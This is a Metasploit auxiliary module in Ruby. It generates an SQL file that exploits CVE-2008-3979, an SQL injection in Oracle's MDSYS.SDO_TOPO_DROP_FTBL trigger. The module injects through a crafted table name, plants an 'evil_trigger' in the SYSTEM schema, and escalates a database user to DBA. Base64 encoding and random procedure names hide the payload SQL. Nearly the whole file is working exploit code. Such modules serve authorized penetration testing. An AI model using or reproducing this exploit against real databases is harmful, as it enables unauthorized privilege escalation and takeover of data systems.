##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger',
      'Description'    => %q{
          This module will escalate an Oracle DB user to MDSYS by exploiting a sql injection bug in
          the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
          given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
      },
      'Author'         => [ 'Sh2kerr <research[ad]dsec.ru>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-3979' ],
          [ 'OSVDB', '51354' ],
          [ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],
          [ 'URL', 'http://www.ngssoftware.com/' ],
        ],
      'DisclosureDate' => '2009-01-13'))

      register_options(
        [
          OptString.new('SQL',      [ false, 'The SQL to execute.',  'GRANT DBA TO SCOTT']),
          OptString.new('USER',      [ false, 'The current user. ',  'SCOTT']),
          OptString.new('FILENAME', [ false, 'The file name.',  'msf.sql'])
        ])
  end

  def run
    name1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

    function1 = %Q|
      CREATE OR REPLACE PROCEDURE #{name1}
      AUTHID CURRENT_USER AS
      PRAGMA AUTONOMOUS_TRANSACTION;
      BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}';
      END;
      |


    function2 = %Q|
      CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is
      PRAGMA AUTONOMOUS_TRANSACTION;
      STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);
      BEGIN #{datastore['USER']}.#{name1};
      end evil_trigger;';
      BEGIN
      EXECUTE IMMEDIATE STMT;
      COMMIT;
      RETURN 1;
      END;
      |

    prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"

    exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""

    exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"

    fun1  = Rex::Text.encode_base64(function1)
    fun2 = Rex::Text.encode_base64(function2)
    prp  = Rex::Text.encode_base64(prepare)
    exp1 = Rex::Text.encode_base64(exploiting1)
    exp2 = Rex::Text.encode_base64(exploiting2)


    sql = %Q|
      DECLARE
      #{rand1} VARCHAR2(32767);
      #{rand2} VARCHAR2(32767);
      #{rand3} VARCHAR2(32767);
      #{rand4} VARCHAR2(32767);
      #{rand5} VARCHAR2(32767);
      BEGIN
      #{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));
      EXECUTE IMMEDIATE #{rand1};
      EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';
      #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));
      EXECUTE IMMEDIATE #{rand2};
      EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';
      #{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
      EXECUTE IMMEDIATE #{rand3};
      #{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));
      EXECUTE IMMEDIATE #{rand4};
      #{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));
      EXECUTE IMMEDIATE #{rand5};
      END;
      /
      DROP FUNCTION #{name1};
      DROP FUNCTION #{name2};
      |


    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sql)


  end
end
